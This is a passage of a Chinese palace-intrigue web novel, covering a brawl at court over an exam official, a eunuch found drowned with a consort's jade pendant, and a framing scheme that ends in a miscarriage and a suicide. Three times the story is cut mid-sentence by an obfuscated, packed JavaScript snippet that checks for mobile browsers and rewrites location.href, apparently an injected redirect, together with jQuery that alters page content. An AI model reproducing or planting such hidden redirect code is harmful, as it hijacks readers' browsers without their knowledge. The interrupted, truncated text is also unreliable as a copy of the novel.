“随手翻翻。”夏清圆轻声答道。她身上散发着淡淡的澡豆清香，与殿内若有似无的果香混在一起，清新好闻。 萧翊在临窗的榻上坐下，揉了揉眉心，语气带着一丝疲惫后的松弛：“给朕煮杯茶吧。” 夏清圆依言奉上温热的茶水。 他接过去，指尖无意间触到她的，两人俱是微微一顿。他低头饮茶，侧脸在灯下落下一道清晰的剪影。 殿内一时安静，只闻更漏声声。 “不必紧张，”萧翊放下茶盏，抬眼看向她，烛光映得他眸光比平时温和些许。 这话奇异地让她紧绷的心弦松了些许。她抬起头，撞上他平静的目光，那里面没有令人不安的审视与灼热，倒像月色下深静的湖。 他朝她伸出手，修长劲瘦。“过来。” 他的声音不高，带着一种不容拒绝的沉稳，却又奇异地不含压迫感。 夏清圆迟疑一瞬，将微凉的手指放入他掌心。 他轻轻握住，力道温暖而坚定，将她带到身旁坐下，并未有更多动作，只是就着灯火，与她闲闲说了几句关于书中风土的闲话。 他的声音低沉平和，驱散了殿内最后一丝凝滞的空气。直到夜深，他才淡淡道：“安置吧。” 翌日清晨 夏清圆在朦胧晨光中醒来，身侧已空，只余枕畔淡淡的龙涎香气。 她拥被坐起，犹自有些恍惚，忆起昨夜他虽举止亲密，却并无急色，甚至在她因初经人事而蹙眉时，动作有明显的停顿与克制，后期方渐入佳境。 荔枝领着宫人满面喜色地进来伺候梳洗，低声道：“小姐，皇上寅时初便起身去早朝了，特意吩咐不许惊扰您。刚吴公公又来传了旨，皇上下朝后，又赏了好些东西来呢！” 夏清圆看向镜中，自己眉眼间似乎褪去了一丝少女的青涩，添了几分难以言喻的柔婉风致。 她轻轻抚过腕上皇帝临走前亲手为她戴上的那只羊脂玉镯，冰凉的触感提醒着她，这深宫的日子，从今夜起，终究是不同了。 4. 打架 圣旨颁下，擢升夏翀为翰林院学士，充任本届会试主阅卷官。 旨意如同一块巨石投入深潭，满朝哗然。 “臣以为不妥！”曹扣军第一个出列，声如洪钟。 他手持玉笏，目光如电扫过谢停云，“夏翀何德何能？区区五品修撰，在翰林院二十八载碌碌无为，岂能担此抡才大典之重任！陛下此举，恐寒天下士子之心！” 他话音未落，宋方程已一步踏出。这位御史中丞天生就是做言官的料，此刻更是须发皆张—— “曹尚书此言差矣！夏翀为人清正，学问扎实，沉潜翰林院二十八载正是其心性沉凝之佐证！岂不闻‘大器晚成’？陛下破格用人，实为圣明独断！” “清正？”曹扣军冷笑一声，转向龙椅，语带机锋，“陛下！臣闻夏翀之女初入宫闱，便蒙殊宠。此等安排，恐惹外戚干政之嫌，臣不得不防！” 这话直指后宫，毒辣非常。 “防谁？我看曹尚书门下子弟遍及六部，才是真正的该防之人！今科考生中，陇西籍者几何？与曹氏有旧者又几何？！” 宋方程这话直戳肺管子，曹扣军勃然变色：“宋方程！你血口喷人！” “是不是血口喷人，你心知肚明！” 宋方程寸步不让，玉笏几乎戳到对方面门。 “夏翀之才，在于公允！在于不党！陛下圣明，正是要用他这把‘尺子’，量一量这科场上下，可有歪斜！” “好一个‘公允’！好一个‘不党’！”曹派一位门生厉声喝道，“谁不知他夏翀与你们……” 朝堂之上，三人吵作一团。两派官员纷纷加入战局，互相攻讦。唾沫横飞，玉笏乱指，平日里的文雅荡然无存。 萧翊高坐龙椅，面色静默如水，唯有指尖在御座扶手上极轻地敲击着，那是他不耐的前兆。 “够了。”他声音不高，却让殿内为之一静。 然而，这安静只持续了一瞬。 曹扣军见皇帝有意平息事态，心一横，竟使出了杀手锏。他上前一步，朗声道：“陛下！即便不论夏翀资历，其子夏青樟今科也要应试！父为阅卷官，子为应试举子，瓜田李下，如何避嫌？若让天下人以为科举有私，朝廷颜面何存！” 这一击，正中要害。连宋方程和谢停云都一时语塞。 就在此时，曹扣军身后一个御史得意忘形，低声嗤笑：“何况那夏翀，不过是个靠女儿……” “匹夫安敢辱我挚友！” 话音未落，素以风骨著称的谢停云竟如怒狮，抄起玉笏朝着那御史劈头盖脸打去！ 这一笏板，成了点燃炸药的最后火星。 混乱中，不知谁先推搡了一把。只听一声痛呼，曹派一位老翰林竟“哎哟”向后倒去，官帽歪斜。 “岂有此理！殿前动手！”曹党顿时炸锅。 “谢太傅！夏翀此人，可是你力荐？你与他八拜之交，如今举贤不避‘亲’到如此地步了吗？！” 就在这推搡纷争之际，戏剧性的一幕发生—— 一直沉默站在后方的夏翀，不知被哪个“杀红了眼”的官员撞得一个趔趄，脚下不稳，竟直直向前扑去！ “夏兄！” 谢停云和宋方程同时惊呼，伸手欲扶。 可夏翀冲势太急，三人竟滚作一团！宽大官袍纠缠，玉带碰撞，谢停云的白须被宋方程慌乱中抓了一把，夏翀的官帽飞了出去，滴溜溜滚到一位武将靴边。 那武将下意识弯腰去捡，却被另一曹党官员以为他要“参战”，猛地一挡—— “砰！” 真正的混战，由此爆发。 文官们此刻扯袍拽带，笏板乱飞，官帽满地。 怒骂声、劝架声、痛呼声响成一片。须发花白的老臣气喘吁吁，年轻官员面红耳赤。 吴全顺试图拉架，却被不知谁推了一把，踉跄着撞进人堆。 曹扣军披头散发，指着被挤到角落、抱头躲避的夏翀尖声叫道：“都是因你这无能之辈！祸乱朝纲！” 夏翀百口莫辩，只能哀叹：“斯文扫地！斯文扫地啊！” 混乱中，无人注意到，龙椅上的萧翊嘴角勾起一丝极淡、极冷的笑意。 直到谢停云和曹扣军互相扯着袍带，踉跄着险些撞到盘龙金柱，他才缓缓起身。 甚至无需他开口，只是这个动作，就让一直按兵不动的禁军瞬间上前。 “啪！”一声净鞭脆响，如同惊雷劈开混乱。 众臣慌忙爬起，各自整理衣冠，个个气喘吁吁，鬓发散乱，脸上带着未褪尽的怒容与羞愤。地上散落着笏板、官帽，甚至还有不知谁掉的一只靴子。 夏翀被好友扶起，老脸煞白，官袍皱如咸菜，看向御座的眼神充满了惊恐与无奈——这官，他是一天也不想当下去了！ 萧翊的目光缓缓扫过下方，在抱头蹲着的夏翀身上停留一瞬，最终落在披头散发的曹扣军和气喘吁吁的宋方程身上。 “打完了？”他的声音不高，却带着山雨欲来的压迫感。 满殿死寂。 “曹扣军，御前失仪，罚俸半年。着你将科场旧例，给朕理清楚，三日后呈上。” “谢停云，咆哮殿堂，罚俸三月。” “宋方程……拉架不力，罚俸一月。” “其余参与殴斗者，各罚俸三月，以儆效尤。” 处罚不轻不重，却各打五十大板，尤其是让曹扣军整理科场旧例，更是意味深长。 最后，他的目光落在夏翀身上。 “夏翀。” “臣……臣在！”夏翀声音发颤。 “引发朝堂争端，罚俸一年。”萧翊淡淡道，“阅卷官的差事，给朕好好干。若再有‘斯文扫地’之事，朕唯你是问。” 夏翀眼前一黑，差点晕过去。果然是上当了！ “然，科举制度关乎国本，曹尚书所虑，亦非全然无理。”萧翊话锋一转，声如金玉，掷地有声。 众臣屏息，不知皇帝最终意向。 “着，夏翀充任阅卷官之旨不变。其为避嫌，本届会试，其子夏青樟试卷，无论优劣，一律不取，成绩作废。” “皇上圣明！”宋方程与谢停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908781|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云立刻叩首。不过是晚考一届，只要夏翀位置保住，这点牺牲值得。 曹扣军张了张嘴，还想再争，但看看自己这狼狈相，又瞥见皇帝那深不见底的眼神，终究把话咽了回去，憋屈地一同谢恩。 退朝后，御书房内。 经这一闹，夏翀的阅卷官怕是难做。萧翊垂眸沉思，得找个人给他撑撑腰。 “传朕旨意，晋婉婕妤为从二品昭媛。” 打一巴掌，也得给个甜枣。 昭媛？ 晋封的消息传到凤仪宫时，皇后正看着大皇子在庭院中扎马步。 秋老虎正盛，七岁的萧昀站在白晃晃的日头下，小脸憋得通红，汗珠顺着鬓角滚落。皇后则端坐廊下阴凉处，目光沉静。 “吴全顺亲自去临华宫宣的旨。”秋霜低声道，“昨夜侍寝，今日她父亲夏翀在朝上封了今科阅卷官，又升了昭媛。” “去库里拣几样精巧又不扎眼的东西，替本宫送去临华宫道贺。”皇后面上未见丝毫不悦，语调平稳。 她的视线依旧落在儿子微微发抖的腿上，“背挺直。你父皇最重皇子武艺根基。” “真想不通，皇上莫不是……怎么就如此抬举这个夏家了。”秋霜小声嘀咕，未尽之语悬在半空。 抬举？ 皇后闻言，眸光微凝，顺着这话问道：“今科的主考和监考，定的哪两位？” “主考是贤妃娘娘的父亲曹尚书，监考官是御史宋方程宋大人。” 皇后瞬间了然。皇上这是用宋方程这块又臭又硬的石头，加上夏翀这个看似温吞实则忠君刻板的尺子，一左一右，挟制着曹扣军。 贤妃和她曹家的风光日子，怕是要变天了。 她徐徐起身，朝儿子招手：“昀儿，今日就到这里。随母后去给婉昭媛道喜。” “娘娘带着大皇子亲自去，也太给她体面了。”秋霜仗着是皇后陪嫁，心直口快。 皇后目光倏地扫过她，带着一丝不易察觉的锐利：“你留在凤仪宫。郁嬷嬷，随本宫走一趟。” 出了凤仪宫，皇子与皇后同乘凤辇。 “这个婉昭媛是新来的吗？” “待会儿见了，记得唤‘婉娘娘’。”皇后语气温和却不容置疑。 “她很厉害吗？”萧昀仰头问。 他见了其他位份低的妃嫔，向来直呼其位份，甚至需对方向他行礼。 何曾需要他特意去道喜，还须尊称一声“娘娘”？ 皇后垂眸看着儿子，语重心长：“你父皇欲扶持夏家，你自然要与他同心同德。” 辇驾行至临华宫前，尚未停稳，便见荔枝慌慌张张从里面跑出来，险些冲撞了仪驾。 小宫女吓得魂不附体，扑通跪倒：“奴婢该死！冲撞娘娘凤驾！” 皇后端坐辇上，神色未变，依旧是那副宽和仁厚的模样。 她打量着荔枝煞白的小脸，缓声问道：“这丫头。你主子大喜的日子，这般慌张，所为何事？” 荔枝抬起头，嘴唇哆嗦着，眼里满是惊惧：“回…回娘娘，死……死人了！” 5. 惊日 皇后扶着郁嬷嬷的手，步履沉稳地踏下凤辇。织金凤纹的裙裾在青石阶上逶迤而过，不曾沾染半分尘埃。 她目光如古井无波，扫过跪地颤抖的荔枝，声音里带着磐石般的定力： “宫闱重地，岂容妖言惑众。前头带路。” 这句话如同定海神针，瞬间镇住了临华宫慌乱的人心。宫人们跪伏在地，连啜泣都死死压在喉间。 “奴婢给皇后娘娘请安。”太后宫中的肃月嬷嬷恰在此时带着赏赐而至，显然是来道喜的。 “正巧，”皇后语气平稳，“肃月嬷嬷随本宫同去看看吧。” “母后...”大皇子萧昀一听说死了人，吓得不敢迈步，声音发颤：“儿臣怕。” 那声带着哭腔的“怕”字，像根细针，猝然刺入皇后心口。她几乎要脱口让郁嬷嬷带他回去。 可电光石火间，一个更冷酷的声音在她脑中响起：回去？回到哪里去？ 皇上正值盛年，后宫日后不会只有一个皇子。 她压下心头悸动，沉吟片刻，俯身握住他冰凉的小手：“随母后来。” 夏清圆几乎是踉跄着赶到院中的。她发髻微乱，只来得及簪一支素银簪子，整个人像刚从水里捞出来，从头到脚都是冰凉的。 那月白常服下的身躯在不受控制地细微战栗，方才指尖无意间触到捞尸宫人湿冷袖摆的触感，挥之不去。 织金凤纹的裙裾映入眼帘，她“扑通”跪倒，青石板的寒气瞬间穿透膝盖。喉咙像是被什么东西死死堵住，她用尽全身力气，才挤出破碎的音节： “臣妾……叩见皇后娘娘。宫中出此祸事，惊扰凤驾……臣妾万死……” 最后一个“死”字出口，她猛地咬住下唇，尝到了一丝淡淡的铁锈味。地上蜿蜒的水渍，仿佛正一点点浸透她的裙摆，要将她也一同拖入那口冰冷的琉璃缸底。 皇后亲手扶起她，指尖温暖有力：“你受惊了。” 她仔细端详夏清圆的脸，目光在她微红的眼眶停留一瞬，语气愈发温和：“本宫断不容后宫生出此等祸乱，你且安心，一切自有本宫为你做主。” 这番话如同暖流，注入夏清圆冰凉的四肢百骸。她眼中瞬间涌上真切的水光，低声道：“谢娘娘。” 皇后不再多言，搭着郁嬷嬷的手走向后院。她步履从容，仿佛不是去勘验尸首，而是日常巡视。然而，当她目光落在那口巨大的琉璃睡莲缸上时，眼底深处终究掠过一丝极淡的阴霾。 小禄子的尸体已被宫人捞起，平放在青石板地上，盖着块白布。水渍蜿蜒扩散，像一道不祥的符咒。 内侍省黄严公公小跑着上前，双手捧着一物，声音发紧：“皇后娘娘，这是在……在缸底发现的。” 那是一枚水头极足的翡翠玉佩，缠枝莲纹在午后阳光下泛着幽冷的光泽。上面还沾着水珠，宛如泪滴。 皇后的指尖在玉佩上方停顿一瞬，没有去接。她转而看向紧随其后的肃月嬷嬷，语气带着恰到好处的困惑与信赖： “肃月嬷嬷，你常在太后娘娘身边伺候，见识广博。依你看，这玉佩……” 肃月嬷嬷心头凛然，知道这是皇后将烫手山芋抛了过来。 她上前半步，恭敬地接过玉佩，对着光仔细端详，指尖在那独特的缠枝莲纹上摩挲片刻。 殿前死寂，所有目光都聚焦在那枚小小的玉佩上。 半晌，肃月嬷嬷抬起眼，声音平稳无波，却字字清晰：“回皇后娘娘，此玉佩……去岁贤妃娘娘得了一批好翡翠，特意赏给身边得用人的，内侍省应有记档。” “贤妃宫中之物？” 皇后恰到好处地蹙起精心描画的远山眉，语气里充满了难以置信的忧虑，尾音微微扬起，足以让周围每个人都听清这五个字。她目光扫过地上那具尸首，又落回玉佩上，沉吟道： “怎会在此处……” 她顿了顿，不再看那玉佩，仿佛那是什么不洁之物，转而面向众人，声音恢复了惯有的威仪与沉稳： “黄严，即刻派人去内务府核验记档，不得有误。” “郁嬷嬷，带人仔细搜查临华宫上下，尤其是这奴才的住处，任何蛛丝马迹不得遗漏！” “传本宫懿旨，速将此事禀报皇上、太后。宫中出此人命关天的大事，本宫亦不能专断，需请圣意与太后娘娘示下。” 一道道指令清晰明确，从她口中流出。 凤仪宫带来的训练有素的宫人立刻无声而动，如同精密的器械开始运转。现场被更严密地控制起来，效率极高。 皇后安排好一切，这才重新看向面色惨白的夏清圆，伸手轻轻拍了拍她的手背，是安抚，更是一种无形的支撑。 “婉昭媛，随本宫到殿内歇息片刻。这里，交给奴才们便是。” 她语气温和，却带着不容置疑的意味。 这不仅是对夏清圆的保护，更是要将这风暴中心最关键的人，牢牢置于自己的羽翼之下，亲自看管起来。 夏清圆低眉顺目，依言跟随皇后走向正殿。 转身的刹那，她眼角的余光最后一次扫过那枚被肃月嬷嬷小心翼翼收起的翡翠玉佩，心头仿佛也被那冰冷的翠色狠狠刺了一下。 她知道，从这一刻起，自己已被彻底卷入一场身不由己的惊涛骇浪之中。而皇后的“庇护”，是救命的舟楑，亦可能是……另一重看不见的罗网。 踏进正殿，熏甜的暖香扑面而来，却让她一阵反胃。 殿内陈设依旧，那把她常坐的摇椅，那本看了一半的话本，此刻都蒙上了一层不真实的阴影。 皇后温和地让她坐下，宫人悄无声息地奉上热茶。她机械地接过，指尖却麻木得不听使唤。 “咔哒。” 一声极轻微的脆响——是杯盖与杯身在她无法控制颤抖的手指下，发出了细碎的碰撞声。 这声音让她悚然一惊，慌忙用双手死死捧住茶盏，指节捏得发白。 她垂下眼，不敢让皇后看见自己眼底翻涌的惊惧。 皇后的声音在耳边温和地响着，说着安抚的话，可她一个字也听不进去。 脑海里只有一个念头在疯狂盘旋：日子过得好好儿的，为什么会死人？ 这金堆玉砌的临华宫，从未有一刻像现在这样，让她感觉如同一座华丽、冰冷、无处可逃的囚笼。 养心殿内，龙涎香在鎏金兽炉中盘旋出沉凝的线条。 萧翊端坐于紫檀木御案后，正听着兵部尚书程敏禀报蜀地军备换防的条陈。 “康王上表，言蜀道艰难，新铸兵刃转运耗费颇巨，请旨是否可暂缓此次换装，待来年……” 程敏声音洪亮，条理清晰，然而御座上的年轻帝王，指节分明的手却无意识地在奏折边缘轻轻摩挲，眸光深处似有寒星闪烁，落在程敏身上时，又沉静得不见底。 话音未落，殿门外传来一阵急促却极力压抑的脚步声。 吴全顺几乎是弓着腰，小碎步疾趋而入，也顾不得程尚书还在奏事，径直到御案旁，压低声音：“皇上，后宫出事了！” 萧翊执朱笔的手几不可察地一顿，那殷红的笔尖终究在关于蜀地军费的奏折上，氤开一小团刺目的红。 他缓缓抬眸，视线从程敏身上移开，落在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908782|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴全顺汗湿的额头上，眸中没有任何情绪，只淡淡道： “何事惊慌？” 吴全顺咽了口唾沫，声音更低了：“婉昭媛宫里发现了内侍小禄子的尸身，是溺死的。而且他手里，紧紧攥着贤妃娘娘身边大宫女青黛的玉佩！” 最后几个字，他几乎是气音吐出，却在寂静的殿内清晰可闻。 程敏的奏报戛然而止，垂首屏息，不敢多看。 萧翊沉默了片刻，那沉默仿佛有实质的重量，压得吴全顺几乎喘不过气。 终于，他开口，声音依旧平稳，听不出半分波澜：“告诉皇后，依宫规处置便是，不必事事禀朕。” 他甚至没有问死者是谁，细节如何，那语气轻描淡写，仿佛死的不过是一只误闯御花园的雀鸟，或是打碎了一件无关紧要的瓷器。 吴全顺不敢多言，连声应“是”，躬身退了出去。 程敏见状，极有眼色地告退。殿内重归寂静，只剩下更漏滴答，一声声，敲在人心上。 萧翊没有继续批阅奏折。他缓缓向后，靠在龙椅的椅背上，指尖在扶手的蟠龙雕刻上轻轻敲击。 一下，又一下，节奏稳定，带着一种冷酷的韵律。 良久，他对着空寂的大殿，冷冷地勾了勾唇角。那笑意未达眼底，反而衬得那双深邃的眸子愈发寒凉。 他终于，等到了这条按捺不住、自己游进来的蛇。 “霍刀。” 声音不高，却似冰凌坠地。 一道黑影，如同融入殿角阴影的一部分，悄无声息地分离出来，跪伏在御案之前，垂首听令。 “去查。”萧翊的声音没有一丝温度。 他顿了顿，补充道，每一个字都清晰冰冷：“重点查慈安宫和贤妃处的银钱、人事往来。” “是。”黑影低应一声，身形一晃，便已消失在原地，仿佛从未出现过。 萧翊重新拿起朱笔，目光落回奏折上那团刺目的红，眼神锐利如刀。 几乎在同一时刻，慈安宫内却是另一番光景。 檀香袅袅，太后段氏斜倚在暖榻上，闭目捻着一串沉香木佛珠。 肃月嬷嬷垂手立在榻边，声音平稳地将临华宫发生的事，包括皇后的处置、那枚玉佩，一一禀报。 太后捻动佛珠的手指未有片刻停顿，直到肃月嬷嬷话音落下，她才缓缓睁开眼。那双经历过无数风浪的眼中，是一片沉静的寒意，深不见底。 “段婕妤…”她语气平淡，听不出半分喜怒，仿佛在评价一件与己无关的旧物，“这个蠢货，只剩最后这点用处。” 肃月嬷嬷头垂得更低：“是。皇后娘娘已命人严查，一切如主子设想。” 太后声音依旧平稳，“火既然已经烧起来了，就让它烧得更旺些。去，让我们的人，给皇后那边‘帮帮忙’。” 她特意在“帮帮忙”三字上略略加重了语气，“通知康王，云柔可以启程了。” “老奴明白。”肃月嬷嬷心领神会。段婕妤这枚不顺手的棋子，就要被取而代之了。 “那……婉昭媛那边？”她谨慎地问及风暴中心的另一人。 太后重新闭上眼，指尖一颗颗捻过圆润的佛珠，半晌，才悠悠道：“且看罢。经此一遭，若她能脱身……倒值得，好好雕琢。” 语气里，听不出是欣赏，还是更深的算计。 肃月嬷嬷不再多言，悄无声息地退了出去，执行太后的意志。 一场风暴，在帝、后、太后三方心照不宣的默许，甚至或明或暗的推动下，以临华宫为中心，骤然升级，向着更幽深、更凶险的方向，汹涌而去。 6. 洗牌 殿外传来内侍省总管黄严略显急促的脚步声，他在帘外停住，声音带着刻意压低的惶恐：“皇后娘娘，奴才在罪奴小禄子枕箱的夹层里，搜出了这个。” 他躬身，双手高举过头顶，捧着一叠信笺与几张银票，指尖微微发颤。 皇后目光从那些证物上滑过，并未去接，只从茶盏上抬起眼：“念。” “是。”黄严展开最上面一张质地粗糙的信纸，声音在过分寂静的殿中显得格外刺耳，“……兄长放心，曹、夏两位考官已打点妥当，今科必中……只需再将那‘诚意’备足，交由青黛……” “哐当——” 夏清圆手中的越窑青瓷盏猛地一颤，温热的茶水泼溅出来，在她月白色的裙裾上洇开深色水痕。 “不可能！”她猛地跪倒在地，青石板冰冷的寒意瞬间穿透膝盖，声音带着不易察觉的颤抖，“皇后娘娘明鉴！妾身父亲愚直，绝不敢行此买爵鬻官、辜负皇命之事！” 皇后未看她，也未叫起，只缓缓用盏盖轻刮着杯沿，那细微的瓷响，磨得人心头发慌。 “还有这些汇票，”黄严喉结滚动，继续道，“银子……都汇去了陇西通宝钱庄。” 陇西。曹家的根基所在。 线索仿佛一条冰冷的毒蛇，清晰地缠向曹、夏两家。 肃月嬷嬷适时上前半步，躬身道：“皇后娘娘明鉴。只是，老奴觉得有些蹊跷。小禄子既行此等密事，为何会将如此关键的证物藏于枕箱夹层这等轻易便可搜检之处？倒像是……生怕别人找不到一般。” 她语调平稳，却像一颗石子投入死水，瞬间荡开涟漪。 “此事疑点颇多，求皇后娘娘明察！”夏清圆立刻应和，声音带着劫后余生的急切。 她感到一种深切的无力，除了紧紧抓住皇后这棵大树，似乎再无生路。 皇后沉吟片刻，似被说动，刚吩咐郁嬷嬷：“派辇，请贤妃来……” 话音未落，殿外便传来内侍尖细急促的通报： “贤妃娘娘驾到——！” 这一声，如同冷水滴入滚油。 皇后端坐的身姿未有丝毫改变，只是搭在扶手上的指尖几不可察地收紧了一瞬。 来得真快。 夏清圆更是浑身一颤，贤妃此时前来，是敌是友？她该如何应对？ 珠帘碰撞，环佩玎珰。 贤妃曹氏扶着宫女的手，款款而入。她腹部隆起已十分明显，行动间却不见笨拙，反因孕中丰腴，更添了几分逼人的气焰。一身绯红色宫装用金线满绣繁复牡丹，珠翠环绕，华贵夺目，与殿内尚未散尽的惊恐氛围格格不入。 “臣妾给皇后娘娘请安。”贤妃礼数周全，目光却似带着钩子，轻飘飘地从面色苍白的夏清圆脸上刮过，“听闻婉昭媛宫里出了事，臣妾心中难安，特来看看。” 皇后端坐受礼，方缓声道：“贤妃有心了。你身子重，这等晦气之事，本不该劳动你。” “娘娘说的是。”贤妃用指尖拈着锦帕轻轻按了按鼻翼，仿佛真嫌此地晦气，“只是巧得很，前几日内务府调配人手，臣妾身边一个名唤青黛的丫头不慎丢了块玉佩，本不是什么大事，没想到……竟把本宫牵扯到这般祸事里来。” 她语声轻柔，却字字清晰，如同玉珠落地，敲在每个人心上。她竟主动提及玉佩，还将自己摘得干干净净。 肃月嬷嬷上前，将锦帕托着的翡翠玉佩呈上：“回贤妃娘娘，老奴方才辨认，此玉料纹样，确与去岁娘娘宫里赏赐给宫人们的相似。” 贤妃漫不经心地瞥了一眼，黛眉微蹙，语气带了几分恰到好处的薄怒与无奈：“可不是么！定是那起子眼皮子浅的奴才偷了去，如今倒好，惹出这等杀身之祸，还险些牵连了婉昭媛。” 她转向夏清圆，语气放缓，“婉昭媛受惊了，本宫御下不严，改日定当备礼，给你压惊。” 这一番连消带打，将自己撇清，还将夏清圆定位成“被牵连”的受害者。 夏清圆手心沁出冷汗，贤妃越是滴水不漏，她心头寒意越重，垂首低声道：“贤妃娘娘言重了。” 皇后心中冷笑，贤妃这是以退为进，想抢先定性。 “既如此，那便好好查查青黛，以及小禄子近日都与何人往来。”皇后语气平稳，不动声色地扩大调查范围，“贤妃既来了，便一同听听。黄严，继续。” 内侍省总管黄严硬着头皮：“禀娘娘，小禄子确系溺亡，落水前无外伤。”他眼观鼻鼻观心，重复道：“奴才在其住处……搜出往陇西通宝钱庄的汇票，还有……”他顿了顿，“几篇今科举子的文章。” “混账奴才！”贤妃脸色骤变，目光锐利如刀射向黄严，“你有几条命！敢攀咬我曹氏！” “奴才不敢！”黄严噗通跪地。 “贤妃别动了胎气。”皇后不轻不重提醒，并未赐座。 “会试在即，幕后之人其心可诛！”贤妃拿起汇票和信件扫了一眼，冷笑一声，“这信谁都能写，若单凭这寥寥数字就要本宫和曹家自证清白，那日后岂非永无宁日？” “贤妃的意思，汇票是假的了？”皇后语气依旧平淡，“郁嬷嬷，请吴全顺来，让他亲去通宝钱庄，查核往陇西曹氏的款项。” “死了个奴才罢了，何必兴师动众。”贤妃立时转了口风，指尖抚上腹部，语气软了下来，“臣妾身子重，打理宫务难免精力不济。想必是青黛那丫头，打着本宫的名号在外骗些钱财。本宫回去定重重罚她。” 夏清圆听出贤妃想大事化小，也怕牵连家中，顺势道：“是臣妾未能管束好下人，给贤妃娘娘赔罪。” “婉妹妹糊涂。” 珠帘轻响，一道略显沙哑的女声传来。 众人望去，只见德妃扶着宫女的手姗姗而来。她容长脸，面色是长年不见日头的苍白，唯有一双杏眼异常有神。“臣妾给皇后娘娘请安。” “难得见你出来走动。”皇后道。 贤妃冷哼一声：“可不是，宫里太医医术越发精进了，德妃都能出来凑热闹了。” 德妃仿佛没听见讥讽，气息微弱：“臣妾怕贤妃姐姐受冤，特来作证。” 她看向皇后，“臣妾的宫女雪鸾昨日随太医出去时，在御花园假山后，看见小禄子与人私语，那人……仿佛是段婕妤宫里的。” 此言一出，满殿皆惊！ 所有目光瞬间变得微妙复杂。段婕妤与贤妃不睦已久，若她指使小禄子如此既陷害贤妃，又能嫁祸夏清圆，从动机上，倒说得过去。 贤妃脸色瞬间阴沉，看向殿外的目光带上了真实的怒火。她可以容忍这桩无妄之灾，却不能容忍曹家被如此算计！ 正当贤妃欲发作，吴全顺疾步而入，与皇后附耳低语：“皇上口谕，此事全权交予娘娘处置。只是贤妃娘娘怀有龙裔，查证可以，勿要惊扰过度。” 皇后一口气不上不下噎在胸口。 这事漏洞颇多，证据又不足，明显是借后宫发作牵连前朝，她也没指望能依着这事将贤妃拉下马。 但却给她提了个醒，贤妃肚子里的孩子，就是曹家的保命符。 “贤妃先坐吧。”她按下心绪，转而吩咐黄严：“去查段婕妤宫中近日可有异常，尤其她身边人与小禄子、与贤妃宫中人可有往来。” 又对肃月嬷嬷道：“既涉及段婕妤，不妨请她来对质，免得冤枉了好人。” 不过一炷香，段婕妤便被带来。她形销骨立，脸色惨白如纸，眼下乌青浓重，整个人恍恍惚惚。 刚进殿，贤妃便劈头骂道：“好你个下贱坯子！连本宫也敢攀扯！” 段婕妤神情呆滞，目光死死钉在贤妃隆起的腹部，忽然发出一声凄厉尖叫，如同疯魔般，一头撞向坐在椅中的贤妃！ 事起突然，众人惊呼声中，贤妃已被重重撞倒在地，捧着肚子发出痛苦呻吟。 …… 养心殿内，龙涎香沉凝。 吴全顺将后宫惊变低声禀完。 “……段婕妤往临华宫前已服毒，现已气绝。皇后娘娘在她身上搜出血书，自言因听闻家族欲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908783|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送新人入宫，心生怨愤，才设计构陷贤妃与婉昭媛……现已自尽谢罪。” 萧翊指尖朱笔顿了顿，奏折上落下个浓重墨点。 “自尽？”他轻哼一声，听不出情绪，“太后要换新牌了。” 又问：“贤妃如何？” “段婕妤那一撞甚重……公主娩下时，已没了声息。贤妃娘娘醒来后，得知公主没了，哭得撕心裂肺，几度晕过去。太医说，是伤心过度，损了根本……” 萧翊停笔，望着窗外出神。 恍惚间，他似乎回到了许多年前，那个同样冰冷的宫殿。 他的生母——那位并不得宠的贵人，在得知先帝要将他抱给当时无子的段皇后抚养时，没有一滴眼泪，只是死死攥着他的胳膊，指甲几乎掐进他肉里。 “翊儿，去了中宫，要讨好皇后，要听话！”她的眼睛亮得骇人，里面没有母子分离的悲痛，只有孤注一掷的疯狂，“母妃后半辈子的荣华富贵，全靠你了！” 那时他几岁？五岁，还是六岁？ 他已记不清母妃的容貌，却永远记得那双把他当成登天梯、充满了利用与算计的眼睛。 “传朕口谕，”他的声音带着一丝自己都未察觉的沙哑，“贤妃……静养期间，一应用度，按贵妃例。让她……好生将养。” 这不是对妃嫔的恩宠，这是一个曾被当作工具的孩子，对另一位母亲最隐秘的怜悯。 “告诉皇后，段氏罪有应得，既已自尽，便按宫规处置，不必累及家族。”语气恢复惯常的冷静：“婉昭仪无辜受惊，赏。” 吴全顺敏锐地察觉到了皇帝情绪中那丝不寻常的波动，不敢多言，悄声退下。 直到殿内彻底空无一人，萧翊才缓缓坐回龙椅，对着空寂的大殿，自嘲地牵了牵嘴角。 “老师，”他忽然开口，声音恢复了往常的冷静，仿佛方才的刹那动容从未发生，“您怎么看？” 